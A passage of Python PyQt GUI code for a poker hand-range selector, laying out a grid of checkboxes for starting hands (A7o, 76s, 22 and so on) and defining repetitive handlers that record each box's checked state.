cb83s.move(570, 140)\n #cbaks.toggle()\n cb83s.stateChanged.connect(self.change83s)\n\n cb82s = QtGui.QCheckBox('82s', self)\n cb82s.move(620, 140)\n #cbaks.toggle()\n cb82s.stateChanged.connect(self.change82s)\n\n #7 line\n cba7o = QtGui.QCheckBox('A7o', self)\n cba7o.move(20, 160)\n #cbaks.toggle()\n cba7o.stateChanged.connect(self.changea7o)\n\n cbk7o = QtGui.QCheckBox('K7o', self)\n cbk7o.move(70, 160)\n #cbaks.toggle()\n cbk7o.stateChanged.connect(self.changek7o)\n\n cbq7o = QtGui.QCheckBox('Q7o', self)\n cbq7o.move(120, 160)\n #cbaks.toggle()\n cbq7o.stateChanged.connect(self.changeq7o)\n\n cbj7o = QtGui.QCheckBox('J7o', self)\n cbj7o.move(170, 160)\n #cbaks.toggle()\n cbj7o.stateChanged.connect(self.changej7o)\n\n cbt7o = QtGui.QCheckBox('T7o', self)\n cbt7o.move(220, 160)\n #cbaks.toggle()\n cbt7o.stateChanged.connect(self.changet7o)\n\n cb97o = QtGui.QCheckBox('97o', self)\n cb97o.move(270, 160)\n #cbaks.toggle()\n cb97o.stateChanged.connect(self.change97o)\n\n cb87o = QtGui.QCheckBox('87o', self)\n cb87o.move(320, 160)\n #cbaks.toggle()\n cb87o.stateChanged.connect(self.change87o)\n\n cb77 = QtGui.QCheckBox('77', self)\n cb77.move(370, 160)\n #cbaks.toggle()\n cb77.stateChanged.connect(self.change77)\n\n cb76s = QtGui.QCheckBox('76s', self)\n cb76s.move(420, 160)\n #cbaks.toggle()\n cb76s.stateChanged.connect(self.change76s)\n\n cb75s = QtGui.QCheckBox('75s', self)\n cb75s.move(470, 160)\n #cbaks.toggle()\n cb75s.stateChanged.connect(self.change75s)\n\n cb74s = QtGui.QCheckBox('74s', self)\n cb74s.move(520, 160)\n #cbaks.toggle()\n cb74s.stateChanged.connect(self.change74s)\n\n cb73s = QtGui.QCheckBox('73s', self)\n cb73s.move(570, 160)\n #cbaks.toggle()\n cb73s.stateChanged.connect(self.change73s)\n\n cb72s = QtGui.QCheckBox('72s', self)\n cb72s.move(620, 160)\n #cbaks.toggle()\n cb72s.stateChanged.connect(self.change72s)\n\n #6 line\n cba6o = QtGui.QCheckBox('A6o', self)\n cba6o.move(20, 180)\n #cbaks.toggle()\n cba6o.stateChanged.connect(self.changea6o)\n\n cbk6o = QtGui.QCheckBox('K6o', self)\n cbk6o.move(70, 180)\n #cbaks.toggle()\n cbk6o.stateChanged.connect(self.changek6o)\n\n cbq6o = QtGui.QCheckBox('Q6o', self)\n cbq6o.move(120, 180)\n #cbaks.toggle()\n cbq6o.stateChanged.connect(self.changeq6o)\n\n cbj6o = QtGui.QCheckBox('J6o', self)\n cbj6o.move(170, 180)\n #cbaks.toggle()\n cbj6o.stateChanged.connect(self.changej6o)\n\n cbt6o = QtGui.QCheckBox('T6o', self)\n cbt6o.move(220, 180)\n #cbaks.toggle()\n cbt6o.stateChanged.connect(self.changet6o)\n\n cb96o = QtGui.QCheckBox('96o', self)\n cb96o.move(270, 180)\n #cbaks.toggle()\n cb96o.stateChanged.connect(self.change96o)\n\n cb86o = QtGui.QCheckBox('86o', self)\n cb86o.move(320, 180)\n #cbaks.toggle()\n cb86o.stateChanged.connect(self.change86o)\n\n cb76o = QtGui.QCheckBox('76o', self)\n cb76o.move(370, 180)\n #cbaks.toggle()\n cb76o.stateChanged.connect(self.change76o)\n\n cb66 = QtGui.QCheckBox('66', self)\n cb66.move(420, 180)\n #cbaks.toggle()\n cb66.stateChanged.connect(self.change66)\n\n cb65s = QtGui.QCheckBox('65s', self)\n cb65s.move(470, 180)\n #cbaks.toggle()\n cb65s.stateChanged.connect(self.change65s)\n\n cb64s = QtGui.QCheckBox('64s', self)\n cb64s.move(520, 180)\n #cbaks.toggle()\n cb64s.stateChanged.connect(self.change64s)\n\n cb63s = QtGui.QCheckBox('63s', self)\n cb63s.move(570, 180)\n #cbaks.toggle()\n cb63s.stateChanged.connect(self.change63s)\n\n cb62s = QtGui.QCheckBox('62s', self)\n cb62s.move(620, 180)\n #cbaks.toggle()\n cb62s.stateChanged.connect(self.change62s)\n\n #5 line\n cba5o = QtGui.QCheckBox('A5o', self)\n cba5o.move(20, 200)\n #cbaks.toggle()\n cba5o.stateChanged.connect(self.changea5o)\n\n cbk5o = QtGui.QCheckBox('K5o', self)\n cbk5o.move(70, 200)\n #cbaks.toggle()\n cbk5o.stateChanged.connect(self.changek5o)\n\n cbq5o = QtGui.QCheckBox('Q5o', self)\n cbq5o.move(120, 200)\n #cbaks.toggle()\n cbq5o.stateChanged.connect(self.changeq5o)\n\n cbj5o = QtGui.QCheckBox('J5o', self)\n cbj5o.move(170, 200)\n #cbaks.toggle()\n cbj5o.stateChanged.connect(self.changej5o)\n\n cbt5o = QtGui.QCheckBox('T5o', self)\n cbt5o.move(220, 200)\n #cbaks.toggle()\n cbt5o.stateChanged.connect(self.changet5o)\n\n cb95o = QtGui.QCheckBox('95o', self)\n cb95o.move(270, 200)\n #cbaks.toggle()\n cb95o.stateChanged.connect(self.change95o)\n\n cb85o = QtGui.QCheckBox('85o', self)\n cb85o.move(320, 200)\n #cbaks.toggle()\n cb85o.stateChanged.connect(self.change85o)\n\n cb75o = QtGui.QCheckBox('75o', self)\n cb75o.move(370, 200)\n #cbaks.toggle()\n cb75o.stateChanged.connect(self.change75o)\n\n cb65o = QtGui.QCheckBox('65o', self)\n cb65o.move(420, 200)\n #cbaks.toggle()\n cb65o.stateChanged.connect(self.change65o)\n\n cb55 = QtGui.QCheckBox('55', self)\n cb55.move(470, 200)\n #cbaks.toggle()\n cb55.stateChanged.connect(self.change55)\n\n cb54s = QtGui.QCheckBox('54s', self)\n cb54s.move(520, 200)\n #cbaks.toggle()\n cb54s.stateChanged.connect(self.change54s)\n\n cb53s = QtGui.QCheckBox('53s', self)\n cb53s.move(570, 200)\n #cbaks.toggle()\n cb53s.stateChanged.connect(self.change53s)\n\n cb52s = QtGui.QCheckBox('52s', self)\n cb52s.move(620, 200)\n #cbaks.toggle()\n cb52s.stateChanged.connect(self.change52s)\n\n #4 line\n cba4o = QtGui.QCheckBox('A4o', self)\n cba4o.move(20, 220)\n #cbaks.toggle()\n cba4o.stateChanged.connect(self.changea4o)\n\n cbk4o = QtGui.QCheckBox('K4o', self)\n cbk4o.move(70, 220)\n #cbaks.toggle()\n cbk4o.stateChanged.connect(self.changek4o)\n\n cbq4o = QtGui.QCheckBox('Q4o', self)\n cbq4o.move(120, 220)\n #cbaks.toggle()\n cbq4o.stateChanged.connect(self.changeq4o)\n\n cbj4o = QtGui.QCheckBox('J4o', self)\n cbj4o.move(170, 220)\n #cbaks.toggle()\n cbj4o.stateChanged.connect(self.changej4o)\n\n cbt4o = QtGui.QCheckBox('T4o', self)\n cbt4o.move(220, 220)\n #cbaks.toggle()\n cbt4o.stateChanged.connect(self.changet4o)\n\n cb94o = QtGui.QCheckBox('94o', self)\n cb94o.move(270, 220)\n #cbaks.toggle()\n cb94o.stateChanged.connect(self.change94o)\n\n cb84o = QtGui.QCheckBox('84o', self)\n cb84o.move(320, 220)\n #cbaks.toggle()\n cb84o.stateChanged.connect(self.change84o)\n\n cb74o = QtGui.QCheckBox('74o', self)\n cb74o.move(370, 220)\n #cbaks.toggle()\n cb74o.stateChanged.connect(self.change74o)\n\n cb64o = QtGui.QCheckBox('64o', self)\n cb64o.move(420, 220)\n #cbaks.toggle()\n cb64o.stateChanged.connect(self.change64o)\n\n cb54o = QtGui.QCheckBox('54o', self)\n cb54o.move(470, 220)\n #cbaks.toggle()\n cb54o.stateChanged.connect(self.change54o)\n\n cb44 = QtGui.QCheckBox('44', self)\n cb44.move(520, 220)\n #cbaks.toggle()\n cb44.stateChanged.connect(self.change44)\n\n cb43s = QtGui.QCheckBox('43s', self)\n cb43s.move(570, 220)\n #cbaks.toggle()\n cb43s.stateChanged.connect(self.change43s)\n\n cb42s = QtGui.QCheckBox('42s', self)\n cb42s.move(620, 220)\n #cbaks.toggle()\n cb42s.stateChanged.connect(self.change42s)\n\n #3 line\n cba3o = QtGui.QCheckBox('A3o', self)\n cba3o.move(20, 240)\n #cbaks.toggle()\n cba3o.stateChanged.connect(self.changea3o)\n\n cbk3o = QtGui.QCheckBox('K3o', self)\n cbk3o.move(70, 240)\n #cbaks.toggle()\n cbk3o.stateChanged.connect(self.changek3o)\n\n cbq3o = QtGui.QCheckBox('Q3o', self)\n cbq3o.move(120, 240)\n #cbaks.toggle()\n cbq3o.stateChanged.connect(self.changeq3o)\n\n cbj3o = QtGui.QCheckBox('J3o', self)\n cbj3o.move(170, 240)\n #cbaks.toggle()\n cbj3o.stateChanged.connect(self.changej3o)\n\n cbt3o = QtGui.QCheckBox('T3o', self)\n cbt3o.move(220, 240)\n #cbaks.toggle()\n cbt3o.stateChanged.connect(self.changet3o)\n\n cb93o = QtGui.QCheckBox('93o', self)\n cb93o.move(270, 240)\n #cbaks.toggle()\n cb93o.stateChanged.connect(self.change93o)\n\n cb83o = QtGui.QCheckBox('83o', self)\n cb83o.move(320, 240)\n #cbaks.toggle()\n cb83o.stateChanged.connect(self.change83o)\n\n cb73o = QtGui.QCheckBox('73o', self)\n cb73o.move(370, 240)\n #cbaks.toggle()\n cb73o.stateChanged.connect(self.change73o)\n\n cb63o = QtGui.QCheckBox('63o', self)\n cb63o.move(420, 240)\n #cbaks.toggle()\n cb63o.stateChanged.connect(self.change63o)\n\n cb53o = QtGui.QCheckBox('53o', self)\n cb53o.move(470, 240)\n #cbaks.toggle()\n cb53o.stateChanged.connect(self.change53o)\n\n cb43o = QtGui.QCheckBox('43o', self)\n cb43o.move(520, 240)\n #cbaks.toggle()\n cb43o.stateChanged.connect(self.change43o)\n\n cb33 = QtGui.QCheckBox('33', self)\n cb33.move(570, 240)\n #cbaks.toggle()\n cb33.stateChanged.connect(self.change33)\n\n cb32s = QtGui.QCheckBox('32s', self)\n cb32s.move(620, 240)\n #cbaks.toggle()\n cb32s.stateChanged.connect(self.change32s)\n\n #2 line\n cba2o = QtGui.QCheckBox('A2o', self)\n cba2o.move(20, 260)\n #cbaks.toggle()\n cba2o.stateChanged.connect(self.changea2o)\n\n cbk2o = QtGui.QCheckBox('K2o', self)\n cbk2o.move(70, 260)\n #cbaks.toggle()\n cbk2o.stateChanged.connect(self.changek2o)\n\n cbq2o = QtGui.QCheckBox('Q2o', self)\n cbq2o.move(120, 260)\n #cbaks.toggle()\n cbq2o.stateChanged.connect(self.changeq2o)\n\n cbj2o = QtGui.QCheckBox('J2o', self)\n cbj2o.move(170, 260)\n #cbaks.toggle()\n cbj2o.stateChanged.connect(self.changej2o)\n\n cbt2o = QtGui.QCheckBox('T2o', self)\n cbt2o.move(220, 260)\n #cbaks.toggle()\n cbt2o.stateChanged.connect(self.changet2o)\n\n cb92o = QtGui.QCheckBox('92o', self)\n cb92o.move(270, 260)\n #cbaks.toggle()\n cb92o.stateChanged.connect(self.change92o)\n\n cb82o = QtGui.QCheckBox('82o', self)\n cb82o.move(320, 260)\n #cbaks.toggle()\n cb82o.stateChanged.connect(self.change82o)\n\n cb72o = QtGui.QCheckBox('72o', self)\n cb72o.move(370, 260)\n #cbaks.toggle()\n cb72o.stateChanged.connect(self.change72o)\n\n cb62o = QtGui.QCheckBox('62o', self)\n cb62o.move(420, 260)\n #cbaks.toggle()\n cb62o.stateChanged.connect(self.change62o)\n\n cb52o = QtGui.QCheckBox('52o', self)\n cb52o.move(470, 260)\n #cbaks.toggle()\n cb52o.stateChanged.connect(self.change52o)\n\n cb42o = QtGui.QCheckBox('42o', self)\n cb42o.move(520, 260)\n #cbaks.toggle()\n cb42o.stateChanged.connect(self.change42o)\n\n cb32o = QtGui.QCheckBox('32o', self)\n cb32o.move(570, 260)\n #cbaks.toggle()\n cb32o.stateChanged.connect(self.change32o)\n\n cb22 = QtGui.QCheckBox('22', self)\n cb22.move(620, 260)\n #cbaks.toggle()\n cb22.stateChanged.connect(self.change22)\n\n #self.setGeometry(200, 200, 670, 300)\n self.setGeometry(200, 200, 680, 400)\n self.setWindowTitle('Select Range')\n self.show()\n \n def changeTitle(self, state):\n \n if state == QtCore.Qt.Checked:\n self.setWindowTitle('Selected')\n else:\n self.setWindowTitle('Not Selected')\n\n #A\n def changeaa(self, state): \n if state == QtCore.Qt.Checked:\n self.aa = 1\n else:\n self.aa = 0 \n\n def changeaks(self, state): \n if state == QtCore.Qt.Checked:\n self.aks = 1\n else:\n self.aks = 0 \n\n def changeako(self, state): \n if state == QtCore.Qt.Checked:\n self.ako = 1\n else:\n self.ako = 0\n\n def changeaqs(self, state): \n if state == QtCore.Qt.Checked:\n self.aqs = 1\n else:\n self.aqs = 0\n\n def changeaqo(self, state): \n if state == QtCore.Qt.Checked:\n self.aqo = 1\n else:\n self.aqo = 0\n\n def changeajs(self, state): \n if state == QtCore.Qt.Checked:\n self.ajs = 1\n else:\n self.ajs = 0\n\n def changeajo(self, state): \n if state == QtCore.Qt.Checked:\n self.ajo = 1\n else:\n self.ajo = 0\n\n def changeats(self, state): \n if state == QtCore.Qt.Checked:\n self.ats = 1\n else:\n self.ats = 0\n\n def changeato(self, state): \n if state == QtCore.Qt.Checked:\n self.ato = 1\n else:\n self.ato = 0\n\n def changea9s(self, state): \n if state == QtCore.Qt.Checked:\n self.a9s = 1\n else:\n self.a9s = 0\n\n def changea9o(self, state): \n if state == QtCore.Qt.Checked:\n self.a9o = 1\n else:\n self.a9o = 0\n\n def changea8s(self, state): \n if state == QtCore.Qt.Checked:\n self.a8s = 1\n else:\n self.a8s = 0\n\n def changea8o(self, state): \n if state == QtCore.Qt.Checked:\n self.a8o = 1\n else:\n self.a8o = 0\n\n def changea7s(self, state): \n if state == QtCore.Qt.Checked:\n self.a7s = 1\n else:\n self.a7s = 0\n\n def changea7o(self, state): \n if state == QtCore.Qt.Checked:\n self.a7o = 1\n else:\n self.a7o = 0\n\n def changea6s(self, state): \n if state == QtCore.Qt.Checked:\n self.a6s = 1\n else:\n self.a6s = 0\n\n def changea6o(self, state): \n if state == QtCore.Qt.Checked:\n self.a6o = 1\n else:\n self.a6o = 0\n\n def changea5s(self, state): \n if state == QtCore.Qt.Checked:\n self.a5s = 1\n else:\n self.a5s = 0\n\n def changea5o(self, state): \n if state == QtCore.Qt.Checked:\n self.a5o = 1\n else:\n self.a5o = 0\n\n def changea4s(self, state): \n if state == QtCore.Qt.Checked:\n self.a4s = 1\n else:\n self.a4s = 0\n\n def changea4o(self, state): \n if state == QtCore.Qt.Checked:\n self.a4o = 1\n else:\n self.a4o = 0\n\n def changea3s(self, state): \n if state == QtCore.Qt.Checked:\n self.a3s = 1\n else:\n self.a3s = 0\n\n def changea3o(self, state): \n if state == QtCore.Qt.Checked:\n self.a3o = 1\n else:\n self.a3o = 0\n\n def changea2s(self, state): \n if state == QtCore.Qt.Checked:\n self.a2s = 1\n else:\n self.a2s = 0\n\n def changea2o(self, state): \n if state == QtCore.Qt.Checked:\n self.a2o = 1\n else:\n self.a2o = 0\n\n #K\n def changekk(self, state): \n if state == QtCore.Qt.Checked:\n self.kk = 1\n else:\n self.kk = 0 \n\n def changekqs(self, state): \n if state == QtCore.Qt.Checked:\n self.kqs = 1\n else:\n self.kqs = 0\n\n def changekqo(self, state): \n if state == QtCore.Qt.Checked:\n self.kqo = 1\n else:\n self.kqo = 0\n\n def changekjs(self, state): \n if state == QtCore.Qt.Checked:\n self.kjs = 1\n else:\n self.kjs = 0\n\n def changekjo(self, state): \n if state == QtCore.Qt.Checked:\n self.kjo = 1\n else:\n self.kjo = 0\n\n def changekts(self, state): \n if state == QtCore.Qt.Checked:\n self.kts = 1\n else:\n self.kts = 0\n\n def changekto(self, state): \n if state == QtCore.Qt.Checked:\n self.kto = 1\n else:\n self.kto = 0\n\n def changek9s(self, state): \n if state == QtCore.Qt.Checked:\n self.k9s = 1\n else:\n self.k9s = 0\n\n def changek9o(self, state): \n if state == QtCore.Qt.Checked:\n self.k9o = 1\n else:\n self.k9o = 0\n\n def changek8s(self, state): \n if state == QtCore.Qt.Checked:\n self.k8s = 1\n else:\n self.k8s = 0\n\n def changek8o(self, state): \n if state == QtCore.Qt.Checked:\n self.k8o = 1\n else:\n self.k8o = 0\n\n def changek7s(self, state): \n if state == QtCore.Qt.Checked:\n self.k7s = 1\n else:\n self.k7s = 0\n\n def changek7o(self, state): \n if state == QtCore.Qt.Checked:\n self.k7o = 1\n else:\n self.k7o = 0\n\n def changek6s(self, state): \n if state == QtCore.Qt.Checked:\n self.k6s = 1\n else:\n self.k6s = 0\n\n def changek6o(self, state): \n if state == QtCore.Qt.Checked:\n self.k6o = 1\n else:\n self.k6o = 0\n\n def changek5s(self, state): \n if state == QtCore.Qt.Checked:\n self.k5s = 1\n else:\n self.k5s = 0\n\n def changek5o(self, state): \n if state == QtCore.Qt.Checked:\n self.k5o = 1\n else:\n self.k5o = 0\n\n def changek4s(self, state): \n if state == QtCore.Qt.Checked:\n self.k4s = 1\n else:\n self.k4s = 0\n\n def changek4o(self, state): \n if state == QtCore.Qt.Checked:\n self.k4o = 1\n else:\n self.k4o = 0\n\n def changek3s(self, state): \n if state == QtCore.Qt.Checked:\n self.k3s = 1\n else:\n self.k3s = 0\n\n def changek3o(self, state): \n if state == QtCore.Qt.Checked:\n self.k3o = 1\n else:\n self.k3o = 0\n\n def changek2s(self, state): \n if state == QtCore.Qt.Checked:\n self.k2s = 1\n else:\n self.k2s = 0\n\n def changek2o(self, state): \n if state == QtCore.Qt.Checked:\n self.k2o = 1\n else:\n self.k2o = 0\n\n #Q\n def changeqq(self, state): \n if state == QtCore.Qt.Checked:\n self.qq = 1\n else:\n self.qq = 0 \n\n def changeqjs(self, state): \n if state == QtCore.Qt.Checked:\n self.qjs = 1\n else:\n self.qjs = 0\n\n def changeqjo(self, state): \n if state == QtCore.Qt.Checked:\n self.qjo = 1\n else:\n self.qjo = 0\n\n def changeqts(self, state): \n if state == QtCore.Qt.Checked:\n self.qts = 1\n else:\n self.qts = 0\n\n def changeqto(self, state): \n if state == QtCore.Qt.Checked:\n self.qto = 1\n else:\n self.qto = 0\n\n def changeq9s(self, state): \n if state == QtCore.Qt.Checked:\n self.q9s = 1\n else:\n self.q9s = 0\n\n def changeq9o(self, state): \n if state == QtCore.Qt.Checked:\n self.q9o = 1\n else:\n self.q9o = 0\n\n def changeq8s(self, state): \n if state == QtCore.Qt.Checked:\n self.q8s = 1\n else:\n self.q8s = 0\n\n def changeq8o(self, state): \n if state == QtCore.Qt.Checked:\n self.q8o = 1\n else:\n self.q8o = 0\n\n def changeq7s(self, state): \n if state == QtCore.Qt.Checked:\n self.q7s = 1\n else:\n self.q7s = 0\n\n def changeq7o(self, state): \n if state == QtCore.Qt.Checked:\n self.q7o = 1\n else:\n self.q7o = 0\n\n def changeq6s(self, state): \n if state == QtCore.Qt.Checked:\n self.q6s = 1\n else:\n self.q6s = 0\n\n def changeq6o(self, state): \n if state == QtCore.Qt.Checked:\n self.q6o = 1\n else:\n self.q6o = 0\n\n def changeq5s(self, state): \n if state == QtCore.Qt.Checked:\n self.q5s = 1\n else:\n self.q5s = 0\n\n def changeq5o(self, state): \n if state == QtCore.Qt.Checked:\n self.q5o = 1\n else:\n self.q5o = 0\n\n def changeq4s(self, state): \n if state == QtCore.Qt.Checked:\n self.q4s = 1\n else:\n self.q4s = 0\n\n def changeq4o(self, state): \n if state == QtCore.Qt.Checked:\n self.q4o = 1\n else:\n self.q4o = 0\n\n def changeq3s(self, state): \n if state == QtCore.Qt.Checked:\n self.q3s = 1\n else:\n self.q3s = 0\n\n def changeq3o(self, state): \n if state == QtCore.Qt.Checked:\n self.q3o = 1\n else:\n self.q3o = 0\n\n def changeq2s(self, state): \n if state == QtCore.Qt.Checked:\n self.q2s = 1\n else:\n self.q2s = 0\n\n def changeq2o(self, state): \n if state == QtCore.Qt.Checked:\n self.q2o = 1\n else:\n self.q2o = 0\n\n #J\n def changejj(self, state): \n if state == QtCore.Qt.Checked:\n self.jj = 1\n else:\n self.jj = 0 \n\n def changejts(self, state): \n if state == QtCore.Qt.Checked:\n self.jts = 1\n else:\n self.jts = 0\n\n def changejto(self, state): \n if state == QtCore.Qt.Checked:\n self.jto = 1\n else:\n self.jto = 0\n\n def changej9s(self, state): \n if state == QtCore.Qt.Checked:\n self.j9s = 1\n else:\n self.j9s = 0\n\n def changej9o(self, state): \n if state == QtCore.Qt.Checked:\n self.j9o = 1\n else:\n self.j9o = 0\n\n def changej8s(self, state): \n if state == QtCore.Qt.Checked:\n self.j8s = 1\n else:\n self.j8s = 0\n\n def changej8o(self, state): \n if state == QtCore.Qt.Checked:\n self.j8o = 1\n else:\n self.j8o = 0\n\n def changej7s(self, state): \n if state == QtCore.Qt.Checked:\n self.j7s = 1\n else:\n self.j7s = 0\n\n def changej7o(self, state): \n if state == QtCore.Qt.Checked:\n self.j7o = 1\n else:\n self.j7o = 0\n\n def changej6s(self, state): \n if state == QtCore.Qt.Checked:\n self.j6s = 1\n else:\n self.j6s = 0\n\n def changej6o(self, state): \n if state == QtCore.Qt.Checked:\n self.j6o = 1\n else:\n self.j6o = 0\n\n def changej5s(self, state): \n if state == QtCore.Qt.Checked:\n self.j5s = 1\n else:\n self.j5s = 0\n\n def changej5o(self, state): \n if state == QtCore.Qt.Checked:\n self.j5o = 1\n else:\n self.j5o = 0\n\n def changej4s(self, state): \n if state == QtCore.Qt.Checked:\n self.j4s = 1\n else:\n self.j4s = 0\n\n def changej4o(self, state): \n if state == QtCore.Qt.Checked:\n self.j4o = 1\n else:\n self.j4o = 0\n\n def changej3s(self, state): \n if state == QtCore.Qt.Checked:\n self.j3s = 1\n else:\n self.j3s = 0\n\n def changej3o(self, state): \n if state == QtCore.Qt.Checked:\n self.j3o = 1\n else:\n self.j3o = 0\n\n def changej2s(self, state): \n if state == QtCore.Qt.Checked:\n self.j2s = 1\n else:\n self.j2s = 0\n\n def changej2o(self, state): \n if state == QtCore.Qt.Checked:\n self.j2o = 1\n else:\n self.j2o = 0\n #T\n def changett(self, state): \n if state == QtCore.Qt.Checked:\n self.tt = 1\n else:\n self.tt = 0 \n\n\n def changet9s(self, state): \n if state == QtCore.Qt.Checked:\n self.t9s = 1\n else:\n self.t9s = 0\n\n def changet9o(self, state): \n if state == QtCore.Qt.Checked:\n self.t9o = 1\n else:\n self.t9o = 0\n\n def changet8s(self, state): \n if state == QtCore.Qt.Checked:\n self.t8s = 1\n else:\n self.t8s = 0\n\n def changet8o(self, state): \n if state == QtCore.Qt.Checked:\n self.t8o = 1\n else:\n self.t8o = 0\n\n def changet7s(self, state): \n if state == QtCore.Qt.Checked:\n self.t7s = 1\n else:\n self.t7s = 0\n\n def changet7o(self, state): \n if state == QtCore.Qt.Checked:\n self.t7o = 1\n else:\n self.t7o = 0\n\n def changet6s(self, state): \n if state == QtCore.Qt.Checked:\n self.t6s = 1\n else:\n self.t6s = 0\n\n def changet6o(self, state): \n if state == QtCore.Qt.Checked:\n self.t6o = 1\n else:\n self.t6o = 0\n\n def changet5s(self, state): \n if state == QtCore.Qt.Checked:\n self.t5s = 1\n else:\n self.t5s = 0\n\n def changet5o(self, state): \n if state == QtCore.Qt.Checked:\n self.t5o = 1\n else:\n self.t5o = 0\n\n def changet4s(self, state): \n if state == QtCore.Qt.Checked:\n self.t4s = 1\n else:\n self.t4s = 0\n\n def changet4o(self, state): \n if state == QtCore.Qt.Checked:\n self.t4o = 1\n else:\n self.t4o = 0\n\n def changet3s(self, state): \n if state == QtCore.Qt.Checked:\n self.t3s = 1\n else:\n self.t3s = 0\n\n def changet3o(self, state): \n if state == QtCore.Qt.Checked:\n self.t3o = 1\n else:\n self.t3o = 0\n\n def changet2s(self, state): \n if state == QtCore.Qt.Checked:\n self.t2s = 1\n else:\n self.t2s = 0\n\n def changet2o(self, state): \n if state == QtCore.Qt.Checked:\n self.t2o = 1\n else:\n self.t2o = 0\n\n #9\n def change99(self, state): \n if state == QtCore.Qt.Checked:\n self.h99 = 1\n else:\n self.h99 = 0 \n\n def change98s(self, state): \n if state == QtCore.Qt.Checked:\n self.h98s = 1\n else:\n self.h98s = 0\n\n def change98o(self, state): \n if state == QtCore.Qt.Checked:\n self.h98o = 1\n else:\n self.h98o = 0\n\n def change97s(self, state): \n if state == QtCore.Qt.Checked:\n self.h97s = 1\n else:\n self.h97s = 0\n\n def change97o(self, state): \n if state == QtCore.Qt.Checked:\n self.h97o = 1\n else:\n self.h97o = 0\n\n def change96s(self, state): \n if state == QtCore.Qt.Checked:\n self.h96s = 1\n else:\n self.h96s = 0\n\n def change96o(self, state): \n if state == QtCore.Qt.Checked:\n self.h96o = 1\n else:\n self.h96o = 0\n\n def change95s(self, state): \n if state == QtCore.Qt.Checked:\n self.h95s = 1\n else:\n self.h95s = 0\n\n def change95o(self, state): \n if state == QtCore.Qt.Checked:\n self.h95o = 1\n else:\n self.h95o = 0\n\n def change94s(self, state): \n if state == QtCore.Qt.Checked:\n self.h94s = 1\n else:\n self.h94s = 0\n\n def change94o(self, state): \n if state == QtCore.Qt.Checked:\n self.h94o = 1\n else:\n self.h94o = 0\n\n def change93s(self, state): \n if state == QtCore.Qt.Checked:\n self.h93s = 1\n else:\n self.h93s = 0\n\n def change93o(self, state): \n if state == QtCore.Qt.Checked:\n self.h93o = 1\n else:\n self.h93o = 0\n\n def change92s(self, state): \n if state == QtCore.Qt.Checked:\n self.h92s = 1\n else:\n self.h92s = 0\n\n def change92o(self, state): \n if state == QtCore.Qt.Checked:\n self.h92o = 1\n else:\n self.h92o = 0\n #8\n def change88(self, state): \n if state == QtCore.Qt.Checked:\n self.h88 = 1\n else:\n self.h88 = 0 \n\n\n def change87s(self, state): \n if state == QtCore.Qt.Checked:\n self.h87s = 1\n else:\n self.h87s = 0\n\n def change87o(self, state): \n if state == QtCore.Qt.Checked:\n self.h87o = 1\n else:\n self.h87o = 0\n\n def change86s(self, state): \n if state == QtCore.Qt.Checked:\n self.h86s = 1\n else:\n self.h86s = 0\n\n def change86o(self, state): \n if state == QtCore.Qt.Checked:\n self.h86o = 1\n else:\n self.h86o = 0\n\n def change85s(self, state): \n if state == QtCore.Qt.Checked:\n self.h85s = 1\n else:\n self.h85s = 0\n\n def change85o(self, state): \n if state == QtCore.Qt.Checked:\n self.h85o = 1\n else:\n self.h85o = 0\n\n def change84s(self, state): \n if state == QtCore.Qt.Checked:\n self.h84s = 1\n else:\n self.h84s = 0\n\n def change84o(self, state): \n if state == QtCore.Qt.Checked:\n self.h84o = 1\n else:\n self.h84o = 0\n\n def change83s(self, state): \n if state == QtCore.Qt.Checked:\n self.h83s = 1\n else:\n self.h83s = 0\n\n def change83o(self, state): \n if state == QtCore.Qt.Checked:\n self.h83o = 1\n else:\n self.h83o = 0\n\n def change82s(self, state): \n if state == QtCore.Qt.Checked:\n self.h82s = 1\n else:\n self.h82s = 0\n\n def change82o(self, state): \n if state == QtCore.Qt.Checked:\n self.h82o = 1\n else:\n self.h82o = 0\n\n #7\n def change77(self, state): \n if state == QtCore.Qt.Checked:\n self.h77 = 1\n else:\n self.h77 = 0 \n\n def change76s(self, state): \n if state == QtCore.Qt.Checked:\n self.h76s = 1\n else:\n self.h76s = 0\n\n def change76o(self, state): \n if state == QtCore.Qt.Checked:\n self.h76o = 1\n else:\n self.h76o = 0\n\n def change75s(self, state): \n if state == QtCore.Qt.Checked:\n self.h75s = 1\n else:\n self.h75s = 0\n\n def change75o(self, state): \n if state == QtCore.Qt.Checked:\n self.h75o = 1\n else:\n self.h75o = 0\n\n def change74s(self, state): \n if state == QtCore.Qt.Checked:\n self.h74s = 1\n else:\n self.h74s = 0\n\n def change74o(self, state): \n if state == QtCore.Qt.Checked:\n self.h74o = 1\n else:\n self.h74o = 0\n\n def change73s(self, state): \n if state == QtCore.Qt.Checked:\n self.h73s = 1\n else:\n self.h73s = 0\n\n def change73o(self, state): \n if state == QtCore.Qt.Checked:\n self.h73o = 1\n else:\n self.h73o = 0\n\n def change72s(self, state): \n if state == QtCore.Qt.Checked:\n self.h72s = 1\n else:\n self.h72s = 0\n\n def change72o(self, state): \n if state == QtCore.Qt.Checked:\n self.h72o = 1\n else:\n self.h72o = 0\n\n #6\n def change66(self, state): \n if state == QtCore.Qt.Checked:\n self.h66 = 1\n else:\n self.h66 = 0 \n\n def change65s(self, state): \n if state == QtCore.Qt.Checked:\n self.h65s = 1\n else:\n self.h65s = 0\n\n def change65o(self, state): \n if state == QtCore.Qt.Checked:\n self.h65o = 1\n else:\n self.h65o = 0\n\n def change64s(self, state): \n if state == QtCore.Qt.Checked:\n self.h64s = 1\n else:\n self.h64s = 0\n\n def change64o(self, state): \n if state == QtCore.Qt.Checked:\n self.h64o = 1\n else:\n self.h64o = 0\n\n def change63s(self, state): \n if state == QtCore.Qt.Checked:\n self.h63s = 1\n else:\n self.h63s = 0\n\n def change63o(self, state): \n if state == QtCore.Qt.Checked:\n self.h63o = 1\n else:\n self.h63o = 0\n\n def change62s(self, state): \n if state == QtCore.Qt.Checked:\n self.h62s = 1\n else:\n self.h62s = 0\n\n def change62o(self, state): \n if state == QtCore.Qt.Checked:\n self.h62o = 1\n else:\n self.h62o = 0\n\n #5\n def change55(self, state): \n if state == QtCore.Qt.Checked:\n self.h55 = 1\n else:\n self.h55 = 0 \n\n def change54s(self, state): \n if state == QtCore.Qt.Checked:\n self.h54s = 1\n else:\n self.h54s = 0\n\n def change54o(self, state): \n if state == QtCore.Qt.Checked:\n self.h54o = 1\n else:\n self.h54o = 0\n\n def change53s(self, state): \n if state == QtCore.Qt.Checked:\n self.h53s = 1\n else:\n self.h53s = 0\n\n def change53o(self, state): \n if state == QtCore.Qt.Checked:\n self.h53o = 1\n 